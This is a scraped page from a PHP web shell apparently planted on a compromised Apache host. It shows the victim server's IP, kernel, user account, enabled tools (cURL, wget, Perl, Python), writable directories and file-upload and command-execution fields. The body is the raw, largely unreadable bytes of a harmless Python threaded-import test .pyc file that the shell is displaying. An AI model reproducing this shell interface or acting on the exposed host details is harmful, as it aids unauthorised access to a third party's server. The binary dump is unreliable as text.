403Webshell
Server IP : 118.27.122.248  /  Your IP : 216.73.217.130
Web Server : Apache
System : Linux web0264.sh.tyo1 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
User : c9415830 ( 11735)
PHP Version : 8.4.17
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python36/lib64/python3.6/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python36/lib64/python3.6/test/__pycache__/test_threaded_import.cpython-36.opt-2.pyc
3

�
�^N"�@s�ddlZddlZddlZddlZddlZddlZddlZddlm	Z	m
Z
mZmZm
Z
mZmZmZmZe
d�Zdd�Zdddd	d
�ZGdd�d�ZGd
d�d�ZGdd�dej�Ze
dd��Zedkr�e�dS)�N)	�verbose�
import_module�run_unittest�TESTFN�reap_threads�forget�unlink�rmtree�
start_threads�	threadingc	Cs�zvy>t|�dr"ddl}ddl}nddl}ddl}|jdd�}Wn2tk
rr}z|j|jd��WYdd}~XnXWd|jtj��t|�|k}|r�|j	�XdS)N�r��)
�len�modulefinder�randomZ	randrange�	Exception�append�with_tracebackr�	get_ident�set)	�N�done�
done_tasks�errorsrr�x�eZfinished�r�9/opt/alt/python36/lib64/python3.6/test_threaded_import.py�tasks
&rzaif 1:
        import time
        time.sleep(%(delay)s)
        x = 'a'
        import C
        zaif 1:
        import time
        time.sleep(%(delay)s)
        x = 'b'
        import D
        zimport Bzimport A)�A�B�C�Dc@seZdZdd�Zddd�ZdS)�FindercCsd|_d|_tj�|_dS)Nr)�numcallsrrZLock�lock)�selfrrr�__init__@szFinder.__init__Nc
Cs>|j�|jd7_WdQRX|j}tjd�|d|_dS)Nr
g{�G�z�?)r&r%r�timeZsleep)r'�name�path�targetrrrr�	find_specEs

zFinder.find_spec)NN)�__name__�
__module__�__qualname__r(r-rrrrr$<sr$c@seZdZddd�ZdS)�FlushingFinderNcCstjj�dS)N)�sys�path_importer_cache�clear)r'r*r+r,rrrr-TszFlushingFinder.find_spec)NN)r.r/r0r-rrrrr1Psr1c@sTeZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dd�ZdS)�ThreadedImportTestscCstjjdd�|_dS)Nr)r2�modules�pop�
old_random)r'rrr�setUpZszThreadedImportTests.setUpcCs|jdk	r|jtjd<dS)Nr)r8r2r6)r'rrr�tearDown]s
zThreadedImportTests.tearDownc
stj�rtjd��tj���x�dD]�tr:td�ddd�x.dD]&}ytj	|=Wq@t
k
rdYq@Xq@Wg�g��j�tj
�}t����fdd�t��D���WdQRX�jd�}tj
�|}tr�td|dddd�dt���f}|j�|�|j||�tr"td�q"WdS)Nz"can't run when import lock is held��2rZTryingzthreads ...� )�endrrc3s$|]}tjt����fd�VqdS))r,�argsN)r�Threadr)�.0�i)rrrrrr�	<genexpr>wszAThreadedImportTests.check_parallel_module_init.<locals>.<genexpr>�
�<z%.1f msg@�@T)�flushr>zdone: %s/%szOK.)r;r<)r;r<r;r<r;r<)rriX)�imp�	lock_held�unittestZSkipTestrZEventr�printr2r6�KeyErrorr4r)Z	monotonicr
�range�waitr�assertFalseZ
assertTrue)r'�modnameZt0Z	completedZdtZdbg_infor)rrrrr�check_parallel_module_initds6




z.ThreadedImportTests.check_parallel_module_initcCs|j�dS)N)rP)r'rrr�test_parallel_module_init�sz-ThreadedImportTests.test_parallel_module_initcCsRt�}tjjd|�z*|j�|j|jd�|j|j|j�Wdtjj	|�XdS)Nr)
r$r2�	meta_path�insertrP�
assertGreaterr%�assertEqualr�remove)r'�finderrrr�test_parallel_meta_path�sz+ThreadedImportTests.test_parallel_meta_pathcs�t��t�}�fdd�}tjjd|�tjj|�z4|jd�|j�}|j	�j
d�|j�j�j
�Wdtjj
|�tjj
|�XdS)Ncs�jd�t�dS)N�)r-�ImportError)r+)rWrr�	path_hook�s
z?ThreadedImportTests.test_parallel_path_hooks.<locals>.path_hookrrY)r$r1r2�
path_hooksrSrRrr-rPrTr%rUrrV)r'Zflushing_finderr[Znumtestsr)rWr�test_parallel_path_hooks�s
z,ThreadedImportTests.test_parallel_path_hookscCs<ytjd=Wntk
r YnXddl}|j|jj�dS)Nztest.threaded_import_hangersr)r2r6rKZtest.threaded_import_hangersrNZthreaded_import_hangersr)r'Ztestrrr�test_import_hangers�sz'ThreadedImportTests.test_import_hangersc	sd}tjt�|jtjt�tjjdt�|jtjj	t�x`t
j�D]T\}}|d|i}ttjj
t|d�d��}|j|jd��WdQRX|jt|�qDWtj�g��fdd�}�fd	d
�}tj|d�}tj|d�}|j�|j�|j
�|j
�|jt��dd
h�dS)Ng�?r�delayz.py�wbzutf-8csddl}�jt|dd��dS)Nrr)r r�getattr)r )�resultsrr�	import_ab�sz<ThreadedImportTests.test_circular_imports.<locals>.import_abcsddl}�jt|dd��dS)Nrr)r!rra)r!)rbrr�	import_ba�sz<ThreadedImportTests.test_circular_imports.<locals>.import_ba)r,�a�b)�os�mkdirr�
addCleanup�shutilr	r2r+rSrV�circular_imports_modules�items�open�join�write�encoder�	importlib�invalidate_cachesrr@�startrUr)	r'r_r*�contents�frcrdZt1Zt2r)rbr�test_circular_imports�s*
z)ThreadedImportTests.test_circular_importsc
Cs�d}tjjdtj�|jtjjtj�td}t|d��}|j	|j
d��WdQRX|jt|�|jtt�|jt
d�tj�tt�tjt=dS)Nz�if 1:
            import threading
            def target():
                import random
            t = threading.Thread(target=target)
            t.start()
            t.join()
            t = Nonerz.pyr`zutf-8�__pycache__)r2r+rSrg�curdirrirVrrmrorprrr	rqrr�
__import__r6)r'�code�filenamerurrr�test_side_effect_import�sz+ThreadedImportTests.test_side_effect_importN)r.r/r0r9r:rPrQrXr]r^rvr|rrrrr5Xs!

&r5cCsVd}ytj�}tjd�Wntk
r.YnXztt�Wd|dk	rPtj|�XdS)Ng�h㈵��>)r2�getswitchinterval�setswitchinterval�AttributeErrorrr5)Zold_switchintervalrrr�	test_main�sr��__main__)�_imprGrgrqr2r)rjrIZtest.supportrrrrrrrr	r
rrrkr$r1ZTestCaser5r�r.rrrr�<module>s(,

Youez - 2016 - github.com/yon3zu
LinuXploit